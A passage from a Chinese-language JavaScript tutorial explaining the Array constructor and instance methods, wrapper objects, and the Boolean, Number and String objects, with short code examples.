obj.bar.push('c');
obj.bar // ["a", "b", "c"]

上面代码中,obj.bar属性指向一个数组,obj对象被冻结以后,这个指向无法改变,即无法指向其他值,但是所指向的数组是可以改变的。

Array 对象

构造函数

Array是 JavaScript 的原生对象,同时也是一个构造函数,可以用它生成新的数组。

1
2
3
var arr = new Array(2);
arr.length // 2
arr // [ empty x 2 ]

上面代码中,Array构造函数的参数2,表示生成一个两个成员的数组,每个位置都是空值。

如果没有使用new,运行结果也是一样的。

1
2
3
var arr = new Array(2);
// 等同于
var arr = Array(2);

Array构造函数有一个很大的缺陷,就是不同的参数,会导致它的行为不一致。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 无参数时,返回一个空数组
new Array() // []

// 单个正整数参数,表示返回的新数组的长度
new Array(1) // [ empty ]
new Array(2) // [ empty x 2 ]

// 非正整数的数值作为参数,会报错
new Array(3.2) // RangeError: Invalid array length
new Array(-3) // RangeError: Invalid array length

// 单个非数值(比如字符串、布尔值、对象等)作为参数,
// 则该参数是返回的新数组的成员
new Array('abc') // ['abc']
new Array([1]) // [Array[1]]

// 多参数时,所有参数都是返回的新数组的成员
new Array(1, 2) // [1, 2]
new Array('a', 'b', 'c') // ['a', 'b', 'c']

可以看到,Array作为构造函数,行为很不一致。因此,不建议使用它生成新数组,直接使用数组字面量是更好的做法。

1
2
3
4
5
// bad
var arr = new Array(1, 2);

// good
var arr = [1, 2];

注意,如果参数是一个正整数,返回数组的成员都是空位。虽然读取的时候返回undefined,但实际上该位置没有任何值。虽然可以取到length属性,但是取不到键名。

1
2
3
4
5
6
7
8
9
10
11
var a = new Array(3);
var b = [undefined, undefined, undefined];

a.length // 3
b.length // 3

a[0] // undefined
b[0] // undefined

0 in a // false
0 in b // true

上面代码中,a是一个长度为3的空数组,b是一个三个成员都是undefined的数组。读取键值的时候,ab都返回undefined,但是a的键位都是空的,b的键位是有值的。

静态方法

Array.isArray()

Array.isArray方法返回一个布尔值,表示参数是否为数组。它可以弥补typeof运算符的不足。

1
2
3
4
var arr = [1, 2, 3];

typeof arr // "object"
Array.isArray(arr) // true

上面代码中,typeof运算符只能显示数组的类型是Object,而Array.isArray方法可以识别数组。

实例方法

valueOf(),toString()

valueOf方法是一个所有对象都拥有的方法,表示对该对象求值。不同对象的valueOf方法不尽一致,数组的valueOf方法返回数组本身。

1
2
var arr = [1, 2, 3];
arr.valueOf() // [1, 2, 3]

toString方法也是对象的通用方法,数组的toString方法返回数组的字符串形式。

1
2
3
4
5
var arr = [1, 2, 3];
arr.toString() // "1,2,3"

var arr = [1, 2, 3, [4, 5, 6]];
arr.toString() // "1,2,3,4,5,6"

push(),pop()

push方法用于在数组的末端添加一个或多个元素,并返回添加新元素后的数组长度。注意,该方法会改变原数组。

1
2
3
4
5
6
var arr = [];

arr.push(1) // 1
arr.push('a') // 2
arr.push(true, {}) // 4
arr // [1, 'a', true, {}]

上面代码使用push方法,往数组中添加了四个成员。

pop方法用于删除数组的最后一个元素,并返回该元素。注意,该方法会改变原数组。

1
2
3
4
var arr = ['a', 'b', 'c'];

arr.pop() // 'c'
arr // ['a', 'b']

对空数组使用pop方法,不会报错,而是返回undefined

1
[].pop() // undefined

pushpop结合使用,就构成了“后进先出”的栈结构(stack)。

1
2
3
4
5
var arr = [];
arr.push(1, 2);
arr.push(3);
arr.pop();
arr // [1, 2]

上面代码中,3是最后进入数组的,但是最早离开数组。

shift(),unshift()

shift()方法用于删除数组的第一个元素,并返回该元素。注意,该方法会改变原数组。

1
2
3
4
var a = ['a', 'b', 'c'];

a.shift() // 'a'
a // ['b', 'c']

上面代码中,使用shift()方法以后,原数组就变了。

shift()方法可以遍历并清空一个数组。

1
2
3
4
5
6
7
8
var list = [1, 2, 3, 4];
var item;

while (item = list.shift()) {
console.log(item);
}

list // []

上面代码通过list.shift()方法每次取出一个元素,从而遍历数组。它的前提是数组元素不能是0或任何布尔值等于false的元素,因此这样的遍历不是很可靠。

push()shift()结合使用,就构成了“先进先出”的队列结构(queue)。

unshift()方法用于在数组的第一个位置添加元素,并返回添加新元素后的数组长度。注意,该方法会改变原数组。

1
2
3
4
var a = ['a', 'b', 'c'];

a.unshift('x'); // 4
a // ['x', 'a', 'b', 'c']

unshift()方法可以接受多个参数,这些参数都会添加到目标数组头部。

1
2
3
var arr = [ 'c', 'd' ];
arr.unshift('a', 'b') // 4
arr // [ 'a', 'b', 'c', 'd' ]

join()

join()方法以指定参数作为分隔符,将所有数组成员连接为一个字符串返回。如果不提供参数,默认用逗号分隔。

1
2
3
4
5
var a = [1, 2, 3, 4];

a.join(' ') // '1 2 3 4'
a.join(' | ') // "1 | 2 | 3 | 4"
a.join() // "1,2,3,4"

如果数组成员是undefinednull或空位,会被转成空字符串。

1
2
3
4
5
[undefined, null].join('#')
// '#'

['a',, 'b'].join('-')
// 'a--b'

通过call方法,这个方法也可以用于字符串或类似数组的对象。

1
2
3
4
5
6
Array.prototype.join.call('hello', '-')
// "h-e-l-l-o"

var obj = { 0: 'a', 1: 'b', length: 2 };
Array.prototype.join.call(obj, '-')
// 'a-b'

concat()

concat方法用于多个数组的合并。它将新数组的成员,添加到原数组成员的后部,然后返回一个新数组,原数组不变。

1
2
3
4
5
6
7
8
9
10
11
['hello'].concat(['world'])
// ["hello", "world"]

['hello'].concat(['world'], ['!'])
// ["hello", "world", "!"]

[].concat({a: 1}, {b: 2})
// [{ a: 1 }, { b: 2 }]

[2].concat({a: 1})
// [2, {a: 1}]

除了数组作为参数,concat也接受其他类型的值作为参数,添加到目标数组尾部。

1
2
[1, 2, 3].concat(4, 5, 6)
// [1, 2, 3, 4, 5, 6]

如果数组成员包括对象,concat方法返回当前数组的一个浅拷贝。所谓“浅拷贝”,指的是新数组拷贝的是对象的引用。

1
2
3
4
5
6
7
var obj = { a: 1 };
var oldArray = [obj];

var newArray = oldArray.concat();

obj.a = 2;
newArray[0].a // 2

上面代码中,原数组包含一个对象,concat方法生成的新数组包含这个对象的引用。所以,改变原对象以后,新数组跟着改变。

reverse()

reverse方法用于颠倒排列数组元素,返回改变后的数组。注意,该方法将改变原数组。

1
2
3
4
var a = ['a', 'b', 'c'];

a.reverse() // ["c", "b", "a"]
a // ["c", "b", "a"]

slice()

slice方法用于提取目标数组的一部分,返回一个新数组,原数组不变。

1
arr.slice(start, end);

它的第一个参数为起始位置(从0开始),第二个参数为终止位置(但该位置的元素本身不包括在内)。如果省略第二个参数,则一直返回到原数组的最后一个成员。

1
2
3
4
5
6
7
var a = ['a', 'b', 'c'];

a.slice(0) // ["a", "b", "c"]
a.slice(1) // ["b", "c"]
a.slice(1, 2) // ["b"]
a.slice(2, 6) // ["c"]
a.slice() // ["a", "b", "c"]

上面代码中,最后一个例子slice没有参数,实际上等于返回一个原数组的拷贝。

如果slice方法的参数是负数,则表示倒数计算的位置。

1
2
3
var a = ['a', 'b', 'c'];
a.slice(-2) // ["b", "c"]
a.slice(-2, -1) // ["b"]

上面代码中,-2表示倒数计算的第二个位置,-1表示倒数计算的第一个位置。

如果第一个参数大于等于数组长度,或者第二个参数小于第一个参数,则返回空数组。

1
2
3
var a = ['a', 'b', 'c'];
a.slice(4) // []
a.slice(2, 1) // []

slice方法的一个重要应用,是将类似数组的对象转为真正的数组。

1
2
3
4
5
Array.prototype.slice.call({ 0: 'a', 1: 'b', length: 2 })
// ['a', 'b']

Array.prototype.slice.call(document.querySelectorAll("div"));
Array.prototype.slice.call(arguments);

上面代码的参数都不是数组,但是通过call方法,在它们上面调用slice方法,就可以把它们转为真正的数组。

splice()

splice方法用于删除原数组的一部分成员,并可以在删除的位置添加新的数组成员,返回值是被删除的元素。注意,该方法会改变原数组。

1
arr.splice(start, count, addElement1, addElement2, ...);

splice的第一个参数是删除的起始位置(从0开始),第二个参数是被删除的元素个数。如果后面还有更多的参数,则表示这些就是要被插入数组的新元素。

1
2
3
var a = ['a', 'b', 'c', 'd', 'e', 'f'];
a.splice(4, 2) // ["e", "f"]
a // ["a", "b", "c", "d"]

上面代码从原数组4号位置,删除了两个数组成员。

1
2
3
var a = ['a', 'b', 'c', 'd', 'e', 'f'];
a.splice(4, 2, 1, 2) // ["e", "f"]
a // ["a", "b", "c", "d", 1, 2]

上面代码除了删除成员,还插入了两个新成员。

起始位置如果是负数,就表示从倒数位置开始删除。

1
2
var a = ['a', 'b', 'c', 'd', 'e', 'f'];
a.splice(-4, 2) // ["c", "d"]

上面代码表示,从倒数第四个位置c开始删除两个成员。

如果只是单纯地插入元素,splice方法的第二个参数可以设为0

1
2
3
4
var a = [1, 1, 1];

a.splice(1, 0, 2) // []
a // [1, 2, 1, 1]

如果只提供第一个参数,等同于将原数组在指定位置拆分成两个数组。

1
2
3
var a = [1, 2, 3, 4];
a.splice(2) // [3, 4]
a // [1, 2]

sort()

sort方法对数组成员进行排序,默认是按照字典顺序排序。排序后,原数组将被改变。

1
2
3
4
5
6
7
8
9
10
11
['d', 'c', 'b', 'a'].sort()
// ['a', 'b', 'c', 'd']

[4, 3, 2, 1].sort()
// [1, 2, 3, 4]

[11, 101].sort()
// [101, 11]

[10111, 1101, 111].sort()
// [10111, 1101, 111]

上面代码的最后两个例子,需要特殊注意。sort方法不是按照大小排序,而是按照字典顺序。也就是说,数值会被先转成字符串,再按照字典顺序进行比较,所以101排在11的前面。

如果想让sort方法按照自定义方式排序,可以传入一个函数作为参数。

1
2
3
4
[10111, 1101, 111].sort(function (a, b) {
return a - b;
})
// [111, 1101, 10111]

上面代码中,sort的参数函数本身接受两个参数,表示进行比较的两个数组成员。如果该函数的返回值大于0,表示第一个成员排在第二个成员后面;其他情况下,都是第一个元素排在第二个元素前面。

1
2
3
4
5
6
7
8
9
10
11
12
[
{ name: "张三", age: 30 },
{ name: "李四", age: 24 },
{ name: "王五", age: 28 }
].sort(function (o1, o2) {
return o1.age - o2.age;
})
// [
// { name: "李四", age: 24 },
// { name: "王五", age: 28 },
// { name: "张三", age: 30 }
// ]

map()

map方法将数组的所有成员依次传入参数函数,然后把每一次的执行结果组成一个新数组返回。

1
2
3
4
5
6
7
8
9
var numbers = [1, 2, 3];

numbers.map(function (n) {
return n + 1;
});
// [2, 3, 4]

numbers
// [1, 2, 3]

上面代码中,numbers数组的所有成员依次执行参数函数,运行结果组成一个新数组返回,原数组没有变化。

map方法接受一个函数作为参数。该函数调用时,map方法向它传入三个参数:当前成员、当前位置和数组本身。

1
2
3
4
[1, 2, 3].map(function(elem, index, arr) {
return elem * index;
});
// [0, 2, 6]

上面代码中,map方法的回调函数有三个参数,elem为当前成员的值,index为当前成员的位置,arr为原数组([1, 2, 3])。

map方法还可以接受第二个参数,用来绑定回调函数内部的this变量(详见《this 变量》一章)。

1
2
3
4
5
6
var arr = ['a', 'b', 'c'];

[1, 2].map(function (e) {
return this[e];
}, arr)
// ['b', 'c']

上面代码通过map方法的第二个参数,将回调函数内部的this对象,指向arr数组。

如果数组有空位,map方法的回调函数在这个位置不会执行,会跳过数组的空位。

1
2
3
4
5
var f = function (n) { return 'a' };

[1, undefined, 2].map(f) // ["a", "a", "a"]
[1, null, 2].map(f) // ["a", "a", "a"]
[1, , 2].map(f) // ["a", , "a"]

上面代码中,map方法不会跳过undefinednull,但是会跳过空位。

forEach()

forEach方法与map方法很相似,也是对数组的所有成员依次执行参数函数。但是,forEach方法不返回值,只用来操作数据。这就是说,如果数组遍历的目的是为了得到返回值,那么使用map方法,否则使用forEach方法。

forEach的用法与map方法一致,参数是一个函数,该函数同样接受三个参数:当前值、当前位置、整个数组。

1
2
3
4
5
6
7
8
function log(element, index, array) {
console.log('[' + index + '] = ' + element);
}

[2, 5, 9].forEach(log);
// [0] = 2
// [1] = 5
// [2] = 9

上面代码中,forEach遍历数组不是为了得到返回值,而是为了在屏幕输出内容,所以不必使用map方法。

forEach方法也可以接受第二个参数,绑定参数函数的this变量。

1
2
3
4
5
6
7
var out = [];

[1, 2, 3].forEach(function(elem) {
this.push(elem * elem);
}, out);

out // [1, 4, 9]

上面代码中,空数组outforEach方法的第二个参数,结果,回调函数内部的this关键字就指向out

注意,forEach方法无法中断执行,总是会将所有成员遍历完。如果希望符合某种条件时,就中断遍历,要使用for循环。

1
2
3
4
5
6
7
var arr = [1, 2, 3];

for (var i = 0; i < arr.length; i++) {
if (arr[i] === 2) break;
console.log(arr[i]);
}
// 1

上面代码中,执行到数组的第二个成员时,就会中断执行。forEach方法做不到这一点。

forEach方法也会跳过数组的空位。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var log = function (n) {
console.log(n + 1);
};

[1, undefined, 2].forEach(log)
// 2
// NaN
// 3

[1, null, 2].forEach(log)
// 2
// 1
// 3

[1, , 2].forEach(log)
// 2
// 3

上面代码中,forEach方法不会跳过undefinednull,但会跳过空位。

filter()

filter方法用于过滤数组成员,满足条件的成员组成一个新数组返回。

它的参数是一个函数,所有数组成员依次执行该函数,返回结果为true的成员组成一个新数组返回。该方法不会改变原数组。

1
2
3
4
[1, 2, 3, 4, 5].filter(function (elem) {
return (elem > 3);
})
// [4, 5]

上面代码将大于3的数组成员,作为一个新数组返回。

1
2
3
4
var arr = [0, 1, 'a', false];

arr.filter(Boolean)
// [1, "a"]

上面代码中,filter方法返回数组arr里面所有布尔值为true的成员。

filter方法的参数函数可以接受三个参数:当前成员,当前位置和整个数组。

1
2
3
4
[1, 2, 3, 4, 5].filter(function (elem, index, arr) {
return index % 2 === 0;
});
// [1, 3, 5]

上面代码返回偶数位置的成员组成的新数组。

filter方法还可以接受第二个参数,用来绑定参数函数内部的this变量。

1
2
3
4
5
6
7
var obj = { MAX: 3 };
var myFilter = function (item) {
if (item > this.MAX) return true;
};

var arr = [2, 8, 3, 4, 1, 3, 2, 9];
arr.filter(myFilter, obj) // [8, 4, 9]

上面代码中,过滤器myFilter内部有this变量,它可以被filter方法的第二个参数obj绑定,返回大于3的成员。

some(),every()

这两个方法类似“断言”(assert),返回一个布尔值,表示判断数组成员是否符合某种条件。

它们接受一个函数作为参数,所有数组成员依次执行该函数。该函数接受三个参数:当前成员、当前位置和整个数组,然后返回一个布尔值。

some方法是只要一个成员的返回值是true,则整个some方法的返回值就是true,否则返回false

1
2
3
4
5
var arr = [1, 2, 3, 4, 5];
arr.some(function (elem, index, arr) {
return elem >= 3;
});
// true

上面代码中,如果数组arr有一个成员大于等于3,some方法就返回true

every方法是所有成员的返回值都是true,整个every方法才返回true,否则返回false

1
2
3
4
5
var arr = [1, 2, 3, 4, 5];
arr.every(function (elem, index, arr) {
return elem >= 3;
});
// false

上面代码中,数组arr并非所有成员大于等于3,所以返回false

注意,对于空数组,some方法返回falseevery方法返回true,回调函数都不会执行。

1
2
3
4
function isEven(x) { return x % 2 === 0 }

[].some(isEven) // false
[].every(isEven) // true

someevery方法还可以接受第二个参数,用来绑定参数函数内部的this变量。

reduce(),reduceRight()

reduce方法和reduceRight方法依次处理数组的每个成员,最终累计为一个值。它们的差别是,reduce是从左到右处理(从第一个成员到最后一个成员),reduceRight则是从右到左(从最后一个成员到第一个成员),其他完全一样。

1
2
3
4
5
6
7
8
9
[1, 2, 3, 4, 5].reduce(function (a, b) {
console.log(a, b);
return a + b;
})
// 1 2
// 3 3
// 6 4
// 10 5
//最后结果:15

上面代码中,reduce方法求出数组所有成员的和。第一次执行,a是数组的第一个成员1b是数组的第二个成员2。第二次执行,a为上一轮的返回值3b为第三个成员3。第三次执行,a为上一轮的返回值6b为第四个成员4。第四次执行,a为上一轮返回值10b为第五个成员5。至此所有成员遍历完成,整个方法的返回值就是最后一轮的返回值15

reduce方法和reduceRight方法的第一个参数都是一个函数。该函数接受以下四个参数。

  1. 累积变量,默认为数组的第一个成员
  2. 当前变量,默认为数组的第二个成员
  3. 当前位置(从0开始)
  4. 原数组

这四个参数之中,只有前两个是必须的,后两个则是可选的。

如果要对累积变量指定初值,可以把它放在reduce方法和reduceRight方法的第二个参数。

1
2
3
4
[1, 2, 3, 4, 5].reduce(function (a, b) {
return a + b;
}, 10);
// 25

上面代码指定参数a的初值为10,所以数组从10开始累加,最终结果为25。注意,这时b是从数组的第一个成员开始遍历。

上面的第二个参数相当于设定了默认值,处理空数组时尤其有用。

1
2
3
4
5
6
7
8
function add(prev, cur) {
return prev + cur;
}

[].reduce(add)
// TypeError: Reduce of empty array with no initial value
[].reduce(add, 1)
// 1

上面代码中,由于空数组取不到初始值,reduce方法会报错。这时,加上第二个参数,就能保证总是会返回一个值。

下面是一个reduceRight方法的例子。

1
2
3
4
5
6
function subtract(prev, cur) {
return prev - cur;
}

[3, 2, 1].reduce(subtract) // 0
[3, 2, 1].reduceRight(subtract) // -4

上面代码中,reduce方法相当于3减去2再减去1reduceRight方法相当于1减去2再减去3

由于这两个方法会遍历数组,所以实际上还可以用来做一些遍历相关的操作。比如,找出字符长度最长的数组成员。

1
2
3
4
5
6
7
function findLongest(entries) {
return entries.reduce(function (longest, entry) {
return entry.length > longest.length ? entry : longest;
}, '');
}

findLongest(['aaa', 'bb', 'c']) // "aaa"

上面代码中,reduce的参数函数会将字符长度较长的那个数组成员,作为累积值。这导致遍历所有成员之后,累积值就是字符长度最长的那个成员。

indexOf(),lastIndexOf()

indexOf方法返回给定元素在数组中第一次出现的位置,如果没有出现则返回-1

1
2
3
4
var a = ['a', 'b', 'c'];

a.indexOf('b') // 1
a.indexOf('y') // -1

indexOf方法还可以接受第二个参数,表示搜索的开始位置。

1
['a', 'b', 'c'].indexOf('a', 1) // -1

上面代码从1号位置开始搜索字符a,结果为-1,表示没有搜索到。

lastIndexOf方法返回给定元素在数组中最后一次出现的位置,如果没有出现则返回-1

1
2
3
var a = [2, 5, 9, 2];
a.lastIndexOf(2) // 3
a.lastIndexOf(7) // -1

注意,这两个方法不能用来搜索NaN的位置,即它们无法确定数组成员是否包含NaN

1
2
[NaN].indexOf(NaN) // -1
[NaN].lastIndexOf(NaN) // -1

这是因为这两个方法内部,使用严格相等运算符(===)进行比较,而NaN是唯一一个不等于自身的值。

链式使用

上面这些数组方法之中,有不少返回的还是数组,所以可以链式使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var users = [
{name: 'tom', email: 'tom@example.com'},
{name: 'peter', email: 'peter@example.com'}
];

users
.map(function (user) {
return user.email;
})
.filter(function (email) {
return /^t/.test(email);
})
.forEach(function (email) {
console.log(email);
});
// "tom@example.com"

上面代码中,先产生一个所有 Email 地址组成的数组,然后再过滤出以t开头的 Email 地址,最后将它打印出来。

参考链接

包装对象

定义

对象是 JavaScript 语言最主要的数据类型,三种原始类型的值——数值、字符串、布尔值——在一定条件下,也会自动转为对象,也就是原始类型的“包装对象”(wrapper)。

所谓“包装对象”,指的是与数值、字符串、布尔值分别相对应的NumberStringBoolean三个原生对象。这三个原生对象可以把原始类型的值变成(包装成)对象。

1
2
3
4
5
6
7
8
9
10
11
var v1 = new Number(123);
var v2 = new String('abc');
var v3 = new Boolean(true);

typeof v1 // "object"
typeof v2 // "object"
typeof v3 // "object"

v1 === 123 // false
v2 === 'abc' // false
v3 === true // false

上面代码中,基于原始类型的值,生成了三个对应的包装对象。可以看到,v1v2v3都是对象,且与对应的简单类型值不相等。

包装对象的设计目的,首先是使得“对象”这种类型可以覆盖 JavaScript 所有的值,整门语言有一个通用的数据模型,其次是使得原始类型的值也有办法调用自己的方法。

NumberStringBoolean这三个原生对象,如果不作为构造函数调用(即调用时不加new),而是作为普通函数调用,常常用于将任意类型的值转为数值、字符串和布尔值。

1
2
3
4
5
6
7
8
// 字符串转为数值
Number('123') // 123

// 数值转为字符串
String(123) // "123"

// 数值转为布尔值
Boolean(123) // true

上面这种数据类型的转换,详见《数据类型转换》一节。

总结一下,这三个对象作为构造函数使用(带有new)时,可以将原始类型的值转为对象;作为普通函数使用时(不带有new),可以将任意类型的值,转为原始类型的值。

实例方法

三种包装对象各自提供了许多实例方法,详见后文。这里介绍两种它们共同具有、从Object对象继承的方法:valueOf()toString()

valueOf()

valueOf()方法返回包装对象实例对应的原始类型的值。

1
2
3
new Number(123).valueOf()  // 123
new String('abc').valueOf() // "abc"
new Boolean(true).valueOf() // true

toString()

toString()方法返回对应的字符串形式。

1
2
3
new Number(123).toString() // "123"
new String('abc').toString() // "abc"
new Boolean(true).toString() // "true"

原始类型与实例对象的自动转换

某些场合,原始类型的值会自动当作包装对象调用,即调用包装对象的属性和方法。这时,JavaScript 引擎会自动将原始类型的值转为包装对象实例,并在使用后立刻销毁实例。

比如,字符串可以调用length属性,返回字符串的长度。

1
'abc'.length // 3

上面代码中,abc是一个字符串,本身不是对象,不能调用length属性。JavaScript 引擎自动将其转为包装对象,在这个对象上调用length属性。调用结束后,这个临时对象就会被销毁。这就叫原始类型与实例对象的自动转换。

1
2
3
4
5
6
7
8
9
var str = 'abc';
str.length // 3

// 等同于
var strObj = new String(str)
// String {
// 0: "a", 1: "b", 2: "c", length: 3, [[PrimitiveValue]]: "abc"
// }
strObj.length // 3

上面代码中,字符串abc的包装对象提供了多个属性,length只是其中之一。

自动转换生成的包装对象是只读的,无法修改。所以,字符串无法添加新属性。

1
2
3
var s = 'Hello World';
s.x = 123;
s.x // undefined

上面代码为字符串s添加了一个x属性,结果无效,总是返回undefined

另一方面,调用结束后,包装对象实例会自动销毁。这意味着,下一次调用字符串的属性时,实际是调用一个新生成的对象,而不是上一次调用时生成的那个对象,所以取不到赋值在上一个对象的属性。如果要为字符串添加属性,只有在它的原型对象String.prototype上定义(参见《面向对象编程》章节)。

自定义方法

除了原生的实例方法,包装对象还可以自定义方法和属性,供原始类型的值直接调用。

比如,我们可以新增一个double方法,使得字符串和数字翻倍。

1
2
3
4
5
6
7
8
9
10
11
12
String.prototype.double = function () {
return this.valueOf() + this.valueOf();
};

'abc'.double()
// abcabc

Number.prototype.double = function () {
return this.valueOf() + this.valueOf();
};

(123).double() // 246

上面代码在StringNumber这两个对象的原型上面,分别自定义了一个方法,从而可以在所有实例对象上调用。注意,最后一张的123外面必须要加上圆括号,否则后面的点运算符(.)会被解释成小数点。

Boolean 对象

概述

Boolean对象是 JavaScript 的三个包装对象之一。作为构造函数,它主要用于生成布尔值的包装对象实例。

1
2
3
4
var b = new Boolean(true);

typeof b // "object"
b.valueOf() // true

上面代码的变量b是一个Boolean对象的实例,它的类型是对象,值为布尔值true

注意,false对应的包装对象实例,布尔运算结果也是true

1
2
3
4
5
6
7
if (new Boolean(false)) {
console.log('true');
} // true

if (new Boolean(false).valueOf()) {
console.log('true');
} // 无输出

上面代码的第一个例子之所以得到true,是因为false对应的包装对象实例是一个对象,进行逻辑运算时,被自动转化成布尔值true(因为所有对象对应的布尔值都是true)。而实例的valueOf方法,则返回实例对应的原始值,本例为false

Boolean 函数的类型转换作用

Boolean对象除了可以作为构造函数,还可以单独使用,将任意值转为布尔值。这时Boolean就是一个单纯的工具方法。

1
2
3
4
5
6
7
8
9
10
11
12
Boolean(undefined) // false
Boolean(null) // false
Boolean(0) // false
Boolean('') // false
Boolean(NaN) // false

Boolean(1) // true
Boolean('false') // true
Boolean([]) // true
Boolean({}) // true
Boolean(function () {}) // true
Boolean(/foo/) // true

上面代码中几种得到true的情况,都值得认真记住。

顺便提一下,使用双重的否运算符(!)也可以将任意值转为对应的布尔值。

1
2
3
4
5
6
7
8
9
10
11
12
!!undefined // false
!!null // false
!!0 // false
!!'' // false
!!NaN // false

!!1 // true
!!'false' // true
!![] // true
!!{} // true
!!function(){} // true
!!/foo/ // true

最后,对于一些特殊值,Boolean对象前面加不加new,会得到完全相反的结果,必须小心。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (Boolean(false)) {
console.log('true');
} // 无输出

if (new Boolean(false)) {
console.log('true');
} // true

if (Boolean(null)) {
console.log('true');
} // 无输出

if (new Boolean(null)) {
console.log('true');
} // true

Number 对象

概述

Number对象是数值对应的包装对象,可以作为构造函数使用,也可以作为工具函数使用。

作为构造函数时,它用于生成值为数值的对象。

1
2
var n = new Number(1);
typeof n // "object"

上面代码中,Number对象作为构造函数使用,返回一个值为1的对象。

作为工具函数时,它可以将任何类型的值转为数值。

1
Number(true) // 1

上面代码将布尔值true转为数值1Number作为工具函数的用法,详见《数据类型转换》一章。

静态属性

Number对象拥有以下一些静态属性(即直接定义在Number对象上的属性,而不是定义在实例上的属性)。

  • Number.POSITIVE_INFINITY:正的无限,指向Infinity
  • Number.NEGATIVE_INFINITY:负的无限,指向-Infinity
  • Number.NaN:表示非数值,指向NaN
  • Number.MIN_VALUE:表示最小的正数(即最接近0的正数,在64位浮点数体系中为5e-324),相应的,最接近0的负数为-Number.MIN_VALUE
  • Number.MAX_SAFE_INTEGER:表示能够精确表示的最大整数,即9007199254740991
  • Number.MIN_SAFE_INTEGER:表示能够精确表示的最小整数,即-9007199254740991
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Number.POSITIVE_INFINITY // Infinity
Number.NEGATIVE_INFINITY // -Infinity
Number.NaN // NaN

Number.MAX_VALUE
// 1.7976931348623157e+308
Number.MAX_VALUE < Infinity
// true

Number.MIN_VALUE
// 5e-324
Number.MIN_VALUE > 0
// true

Number.MAX_SAFE_INTEGER // 9007199254740991
Number.MIN_SAFE_INTEGER // -9007199254740991

实例方法

Number对象有4个实例方法,都跟将数值转换成指定格式有关。

Number.prototype.toString()

Number对象部署了自己的toString方法,用来将一个数值转为字符串形式。

1
(10).toString() // "10"

toString方法可以接受一个参数,表示输出的进制。如果省略这个参数,默认将数值先转为十进制,再输出字符串;否则,就根据参数指定的进制,将一个数字转化成某个进制的字符串。

1
2
3
(10).toString(2) // "1010"
(10).toString(8) // "12"
(10).toString(16) // "a"

上面代码中,10一定要放在括号里,这样表明后面的点表示调用对象属性。如果不加括号,这个点会被 JavaScript 引擎解释成小数点,从而报错。

1
2
10.toString(2)
// SyntaxError: Unexpected token ILLEGAL

只要能够让 JavaScript 引擎不混淆小数点和对象的点运算符,各种写法都能用。除了为10加上括号,还可以在10后面加两个点,JavaScript 会把第一个点理解成小数点(即10.0),把第二个点理解成调用对象属性,从而得到正确结果。

1
2
3
4
5
6
10..toString(2)
// "1010"

// 其他方法还包括
10 .toString(2) // "1010"
10.0.toString(2) // "1010"

这实际上意味着,可以直接对一个小数使用toString方法。

1
2
3
4
10.5.toString() // "10.5"
10.5.toString(2) // "1010.1"
10.5.toString(8) // "12.4"
10.5.toString(16) // "a.8"

通过方括号运算符也可以调用toString方法。

1
10['toString'](2) // "1010"

toString方法只能将十进制的数,转为其他进制的字符串。如果要将其他进制的数,转回十进制,需要使用parseInt方法。

Number.prototype.toFixed()

toFixed()方法先将一个数转为指定位数的小数,然后返回这个小数对应的字符串。

1
2
(10).toFixed(2) // "10.00"
10.005.toFixed(2) // "10.01"

上面代码中,1010.005先转成2位小数,然后转成字符串。其中10必须放在括号里,否则后面的点会被处理成小数点。

toFixed()方法的参数为小数位数,有效范围为0到20,超出这个范围将抛出 RangeError 错误。

由于浮点数的原因,小数5的四舍五入是不确定的,使用的时候必须小心。

1
2
(10.055).toFixed(2) // 10.05
(10.005).toFixed(2) // 10.01

Number.prototype.toExponential()

toExponential方法用于将一个数转为科学计数法形式。

1
2
3
4
5
6
7
(10).toExponential()  // "1e+1"
(10).toExponential(1) // "1.0e+1"
(10).toExponential(2) // "1.00e+1"

(1234).toExponential() // "1.234e+3"
(1234).toExponential(1) // "1.2e+3"
(1234).toExponential(2) // "1.23e+3"

toExponential方法的参数是小数点后有效数字的位数,范围为0到20,超出这个范围,会抛出一个 RangeError 错误。

Number.prototype.toPrecision()

toPrecision方法用于将一个数转为指定位数的有效数字。

1
2
3
4
5
(12.34).toPrecision(1) // "1e+1"
(12.34).toPrecision(2) // "12"
(12.34).toPrecision(3) // "12.3"
(12.34).toPrecision(4) // "12.34"
(12.34).toPrecision(5) // "12.340"

toPrecision方法的参数为有效数字的位数,范围是1到21,超出这个范围会抛出 RangeError 错误。

toPrecision方法用于四舍五入时不太可靠,跟浮点数不是精确储存有关。

1
2
3
4
(12.35).toPrecision(3) // "12.3"
(12.25).toPrecision(3) // "12.3"
(12.15).toPrecision(3) // "12.2"
(12.45).toPrecision(3) // "12.4"

自定义方法

与其他对象一样,Number.prototype对象上面可以自定义方法,被Number的实例继承。

1
2
3
4
5
Number.prototype.add = function (x) {
return this + x;
};

8['add'](2) // 10

上面代码为Number对象实例定义了一个add方法。在数值上调用某个方法,数值会自动转为Number的实例对象,所以就可以调用add方法了。由于add方法返回的还是数值,所以可以链式运算。

1
2
3
4
5
6
Number.prototype.subtract = function (x) {
return this - x;
};

(8).add(2).subtract(4)
// 6

上面代码在Number对象的实例上部署了subtract方法,它可以与add方法链式调用。

我们还可以部署更复杂的方法。

1
2
3
4
5
6
7
8
9
10
Number.prototype.iterate = function () {
var result = [];
for (var i = 0; i <= this; i++) {
result.push(i);
}
return result;
};

(8).iterate()
// [0, 1, 2, 3, 4, 5, 6, 7, 8]

上面代码在Number对象的原型上部署了iterate方法,将一个数值自动遍历为一个数组。

注意,数值的自定义方法,只能定义在它的原型对象Number.prototype上面,数值本身是无法自定义属性的。

1
2
3
var n = 1;
n.x = 1;
n.x // undefined

上面代码中,n是一个原始类型的数值。直接在它上面新增一个属性x,不会报错,但毫无作用,总是返回undefined。这是因为一旦被调用属性,n就自动转为Number的实例对象,调用结束后,该对象自动销毁。所以,下一次调用n的属性时,实际取到的是另一个对象,属性x当然就读不出来。

String 对象

概述

String对象是 JavaScript 原生提供的三个包装对象之一,用来生成字符串对象。

1
2
3
4
5
6
7
var s1 = 'abc';
var s2 = new String('abc');

typeof s1 // "string"
typeof s2 // "object"

s2.valueOf() // "abc"

上面代码中,变量s1是字符串,s2是对象。由于s2是字符串对象,s2.valueOf方法返回的就是它所对应的原始字符串。

